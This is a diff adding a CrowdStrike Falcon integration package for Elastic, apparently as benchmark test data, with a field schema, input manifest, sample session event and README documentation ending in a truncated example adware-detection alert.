name: Status + type: keyword + description: | + CrowdStrike status. + - name: TreeID + type: keyword + description: | + CrowdStrike tree id. + - name: Commands + type: keyword + description: | + Commands run in a remote session. + - name: AnodeIndicators + type: nested + - name: ContentPatterns + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: ConfidenceLevel + type: long + - name: MatchCount + type: long + - name: Destination + type: nested + - name: Destination.Channel + type: keyword + - name: EventTimestamp + type: date + - name: FileType.Type + type: group + fields: + - name: CategoryID + type: keyword + - name: CategoryName + type: keyword + - name: Description + type: keyword + - name: ID + type: keyword + - name: Name + type: keyword + - name: FilesEgressedCount + type: long + - name: FileCategoryCounts + type: nested + - name: ContentPatternCounts + type: nested + - name: DetectionType + type: keyword + - name: EgressEventId + type: keyword + - name: EgressSessionId + type: keyword + - name: IsClipboard + type: boolean + - name: MatchedClassification + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: OriginWebLocations + type: flattened + - name: RelatedClassifications + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: ResponseAction + type: keyword + - name: RuleId + type: keyword + - name: UserNotified + type: boolean + - name: UserTitle + type: keyword + - name: UserDepartment + type: keyword + - name: UserMapped + type: boolean + - name: IPv4 + type: ip + - name: IPv6 + type: ip + - name: DomainName + type: keyword + - name: MitreAttack + type: group + fields: + - name: Tactic + type: keyword + - name: TacticID + type: keyword + - name: Technique + type: keyword + - name: TechniqueID + type: keyword + - name: PatternID + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml new file mode 100644 index 0000000000..3c81d91757 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml @@ -0,0 +1,111 @@ +type: logs +title: CrowdStrike Falcon events +streams: + - input: logfile + enabled: false + vars: + - name: paths + type: text + title: Paths + description: Location of the files where event outputs are written. The contents of these files should be in a valid JSON format. + multi: true + required: true + show_user: true + default: + - /var/log/crowdstrike/falconhoseclient/output* + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - crowdstrike-falcon + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. + + template_path: log.yml.hbs + title: Falcon events + description: Collect CrowdStrike Falcon events through Falcon SIEM Connector. + - input: streaming + template_path: streaming.yml.hbs + title: Falcon events + description: Collect CrowdStrike Falcon events using Event Streams API. + enabled: false + vars: + - name: url + type: text + title: URL + description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com. + default: https://api.crowdstrike.com + required: true + show_user: true + - name: token_url + type: text + title: Token URL + description: CrowdStrike API token URL. + default: https://api.crowdstrike.com/oauth2/token + required: true + show_user: false + - name: client_id + type: text + title: Client ID + description: Client ID for the CrowdStrike API. + multi: false + required: true + show_user: true + - name: client_secret + type: password + title: Client Secret + description: Client Secret for the CrowdStrike API. + multi: false + required: true + show_user: true + secret: true + - name: app_id + type: text + title: App ID + description: This field specifies the `appId` parameter sent to the CrowdStrike API. See the CrowdStrike documentation for details. + multi: false + required: true + show_user: true + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - crowdstrike-falcon + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json new file mode 100644 index 0000000000..5954308e94 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json @@ -0,0 +1,84 @@ +{ + "@timestamp": "2023-11-02T13:41:34.000Z", + "agent": { + "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4", + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "name": "elastic-agent-93422", + "type": "filebeat", + "version": "8.18.1" + }, + "crowdstrike": { + "event": { + "AgentIdString": "fffffffff33333", + "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a" + }, + "metadata": { + "customerIDString": "abcabcabc22221", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 1, + "version": "1.0" + } + }, + "data_stream": { + "dataset": "crowdstrike.falcon", + "namespace": "99576", + "type": "logs" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "67072e92-576d-47d8-8a43-ebb347b4250b", + "snapshot": false, + "version": "8.18.1" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "agent_id_status": "verified", + "category": [ + "network", + "session" + ], + "created": "2023-11-02T13:41:34.000Z", + "dataset": "crowdstrike.falcon", + "ingested": "2025-05-30T08:29:21Z", + "kind": "event", + "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}", + "start": "2023-11-02T13:41:34.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "UKCHUDL00206" + }, + "input": { + "type": "streaming" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "UKCHUDL00206" + ], + "user": [ + "admin.rose", + "admin.rose@example.com" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-falcon" + ], + "user": { + "domain": "example.com", + "email": "admin.rose@example.com", + "name": "admin.rose" + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md new file mode 100644 index 0000000000..b550fbe5c5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md @@ -0,0 +1,3601 @@ +# CrowdStrike Integration + +## Overview + +The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to efficiently connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization, and incident response. + +For a demo, refer to the following video (click to view). + +[![CrowdStrike integration video](https://play.vidyard.com/VKKWSpg4sDEk1DBXATkyEP.jpg)](https://videos.elastic.co/watch/VKKWSpg4sDEk1DBXATkyEP) + +### Compatibility + +This integration is compatible with CrowdStrike Falcon SIEM Connector v2.0, REST API, and CrowdStrike Event Streams API. + +### How it works + +The integration collects data from multiple sources within CrowdStrike Falcon and ingests it into Elasticsearch for security analysis and visualization: + +![CrowdStrike Integration Flowchart](../img/crowdstrike-elastic-data-flow.drawio.svg) + +1. **CrowdStrike Event Streams** — Real-time security events (auth, CSPM, firewall, user activity, XDR, detections). You can collect this data in two ways: + - **Falcon SIEM Connector** — A pre-built integration that connects CrowdStrike Falcon with your SIEM. The connector collects event stream data and writes it to files; this integration reads from the connector's output path (the `output_path` in `cs.falconhoseclient.cfg`). + - **Event Streams API** — Continuously streams security logs from CrowdStrike Falcon for proactive monitoring and threat detection. + + Data from either method is indexed into the `falcon` dataset in Elasticsearch. + +2. **CrowdStrike REST API** — The integration uses the REST API to pull alerts, host inventory, and vulnerability data (indexed into the `alert`, `host`, and `vulnerability` datasets). + + :::{note} + GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. + ::: + +3. **Falcon Data Replicator (FDR)** — Batch data from your endpoints, cloud workloads, and identities using the Falcon platform's lightweight agent. Data is written to CrowdStrike-managed S3; this integration consumes it using SQS notifications (or from your own S3 bucket if you use the FDR tool to replicate). Logs are indexed into the `fdr` dataset in Elasticsearch. + +## What data does this integration collect? + +- **Event Streams** (falcon dataset) +- **FDR** (fdr dataset) +- **Alerts** (alert dataset) +- **Hosts** (host dataset) +- **Vulnerability** (vulnerability dataset) + +## What do I need to use this integration? + +This section describes the requirements and configuration details for each supported data source. + +### Collect data using CrowdStrike Falcon SIEM Connector + +To collect data using the Falcon SIEM Connector, you need the file path where the connector stores event data received from the Event Streams. +This is the same as the `output_path` setting in the `cs.falconhoseclient.cfg` configuration file. + +The integration supports only JSON output format from the Falcon SIEM Connector. Other formats such as Syslog and CEF are not supported. + +Additionally, this integration collects logs only through the file system. Ingestion using a Syslog server is not supported. + +:::{note} +The log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`. +By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion. + +Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. +::: + +By default, the configuration file for the Falcon SIEM Connector is located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg`, which provides configuration options related to the events collected. The `EventTypeCollection` and `EventSubTypeCollection` sections list which event types the connector collects. + +### Collect data using CrowdStrike Event Streams + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. CrowdStrike App ID +6. Required scopes for event streams: + + | Data Stream | Scope | + | ------------- | ------------------- | + | Event Stream | read: Event streams | + +:::{note} +You can use the Falcon SIEM Connector as an alternative to the Event Streams API. +::: + +#### Supported Event Streams event types + +The following event types are supported for CrowdStrike Event Streams (whether you use the Falcon SIEM Connector or the Event Streams API): + +- CustomerIOCEvent +- DataProtectionDetectionSummaryEvent +- DetectionSummaryEvent +- EppDetectionSummaryEvent +- IncidentSummaryEvent +- UserActivityAuditEvent +- AuthActivityAuditEvent +- FirewallMatchEvent +- RemoteResponseSessionStartEvent +- RemoteResponseSessionEndEvent +- CSPM Streaming events +- CSPM Search events +- IDP Incidents +- IDP Summary events +- Mobile Detection events +- Recon Notification events +- XDR Detection events +- Scheduled Report Notification events + +### Collect data using CrowdStrike REST API + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. Required scopes for each data stream: + + | Data Stream | Scope | + | ------------- | ------------- | + | Alert | read:alert | + | Host | read:host | + | Vulnerability | read:vulnerability | + +### Collect data using CrowdStrike Falcon Data Replicator (FDR) + +The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike +managed S3 buckets. When new data is written to S3, notifications are sent to a CrowdStrike-managed SQS queue (using S3 event notifications configured in AWS), so this integration can consume them. + +This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed +SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket +and the integration can read from there. + +In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic +Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. + +#### Use with CrowdStrike managed S3/SQS + +This is the simplest way to setup the integration, and also the default. + +You need to set the integration up with the SQS queue URL provided by CrowdStrike FDR. + +#### Use with FDR tool and data replicated to a self-managed S3 bucket + +This option can be used if you want to archive the raw CrowdStrike data. + +You need to follow the steps below: + +- Create an S3 bucket to receive the logs. +- Create an SQS queue. +- Configure your S3 bucket to send object created notifications to your SQS queue. +- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. +- Configure the integration to read from your self-managed SQS topic. + +:::{note} +While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files. +::: + +#### Configuration for the S3 input + +AWS credentials are required for running this integration if you want to use the S3 input. + +##### Configuration parameters +* `access_key_id`: first part of access key. +* `secret_access_key`: second part of access key. +* `session_token`: required when using temporary security credentials. +* `credential_profile_name`: profile name in shared credentials file. +* `shared_credential_file`: directory of the shared credentials file. +* `endpoint`: URL of the entry point for an AWS web service. +* `role_arn`: AWS IAM Role to assume. + +##### Credential Types +There are three types of AWS credentials that can be used: + +- access keys, +- temporary security credentials, and +- IAM role ARN. + +##### Access keys + +`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. +They are long-term credentials for an IAM user, or the AWS account root user. +See [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) +for more details. + +##### Temporary security credentials + +Temporary security credentials have a limited lifetime and consist of an +access key ID, a secret access key, and a security token which are typically returned +from `GetSessionToken`. + +MFA-enabled IAM users would need to submit an MFA code +while calling `GetSessionToken`. `default_region` identifies the AWS Region +whose servers you want to send your first API request to by default. + +This is typically the Region closest to you, but it can be any Region. See +[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +for more details. + +`sts get-session-token` AWS CLI can be used to generate temporary credentials. +For example, with MFA-enabled: +```bash +aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 +``` + +Because temporary security credentials are short term, after they expire, the +user needs to generate new ones and manually update the package configuration in +order to continue collecting `aws` metrics. + +This will cause data loss if the configuration is not updated with new credentials before the old ones expire. + +##### IAM role ARN + +An IAM role is an IAM identity that you can create in your account that has +specific permissions that determine what the identity can and cannot do in AWS. + +A role does not have standard long-term credentials such as a password or access +keys associated with it. Instead, when you assume a role, it provides you with +temporary security credentials for your role session. +IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate +temporary credentials. + +See [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. + +##### Supported Formats +1. Use access keys: Access keys include `access_key_id`, `secret_access_key` +and/or `session_token`. +2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume + for generating temporary credentials. + If `role_arn` is given, the package will check if access keys are given. + If not, the package will check for credential profile name. + If neither is given, default credential profile will be used. + + Ensure credentials are given under either a credential profile or + access keys. +3. Use `credential_profile_name` and/or `shared_credential_file`: + If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then + the package will check for `credential_profile_name`. + If you use different credentials for different tools or applications, you can use profiles to + configure multiple access keys in the same configuration file. + If there is no `credential_profile_name` given, the default profile will be used. + `shared_credential_file` is optional to specify the directory of your shared + credentials file. + If it's empty, the default directory will be used. + In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. + For Linux, macOS or Unix, the file is located at `~/.aws/credentials`. + See [Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) + for more details. + +#### Supported FDR data + +The FDR dataset includes: + +- Events generated by the Falcon sensor on your hosts +- DataProtectionDetectionSummaryEvent (Data Protection detection summary) +- File Integrity Monitor: FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events +- EppDetectionSummaryEvent (EPP detection summary) +- CSPM: Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events + +## How do I deploy this integration? + +1. In Kibana, go to **Management > Integrations**. +2. In the "Search for integrations" search bar, type **CrowdStrike**. +3. Click the **CrowdStrike** integration from the search results. +4. Click the **Add CrowdStrike** button to add the integration. +5. Configure the integration. +6. Click **Save and Continue** to save the integration. + +### Agentless enabled integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent based installation + +Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). +You can install only one Elastic Agent per host. +Elastic Agent is required to stream data from the AWS SQS, Event Streams API, REST API, or SIEM Connector and ship the data to Elastic, where the events will then be processed using the integration's ingest pipelines. + +## Troubleshooting + +### Vulnerability API returns 404 Not found + +This error can occur for the following reasons: +1. Too many records in the response. +2. The pagination token has expired. Tokens expire 120 seconds after a call is made. + +To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. + +### Duplicate Events + +The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events can be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of CrowdStrike fields that uniquely identify the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique and prevent duplicates. + +If duplicate events are ingested, to help find them, the integration's `event.id` field is populated by concatenating a few CrowdStrike fields that uniquely identify the event. These fields are `id`, `aid`, and `cid` from the CrowdStrike event. The fields are separated with pipe `|`. +For example, if your CrowdStrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. + +### Alert severity mapping + +The values used in `event.severity` are consistent with Elastic Detection Rules. + +| Severity Name | `event.severity` | +|----------------------------|:----------------:| +| Low, Info or Informational | 21 | +| Medium | 47 | +| High | 73 | +| Critical | 99 | + +The integration sets `event.severity` according to the mapping in the table above. If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. + +| CrowdStrike Severity | Severity Name | +|------------------------|:-------------:| +| 0 - 19 | info | +| 20 - 39 | low | +| 40 - 59 | medium | +| 60 - 79 | high | +| 80 - 100 | critical | + +## Logs + +### Alert + +This is the `alert` dataset. + +#### Example + +An example event for `alert` looks as following: + +```json +{ + "@timestamp": "2023-11-03T18:00:22.328Z", + "agent": { + "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "name": "elastic-agent-43429", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "data_stream": { + "dataset": "crowdstrike.alert", + 